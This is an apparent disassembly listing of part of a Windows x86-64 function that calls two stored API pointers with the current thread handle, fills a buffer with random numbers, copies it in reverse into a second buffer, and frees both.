mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x670]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x668]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov ecx, 0x5cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0x5cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x810], 0x172
mov dword [rbp + 0x814], 0
jmp 0x140002a29
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x814]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x172
jle 0x1400029dc
mov dword [rbp + 0x814], 0
jmp 0x140002a88
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x660]
add rax, rdx
mov edx, dword [rbp + 0x814]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x810], 1
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x172
jle 0x140002a41
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
movups xmm6, xmmword [rbp + 0x880]
add rsp, 0x918
pop rbx
pop rsi
pop rdi
pop rbp
ret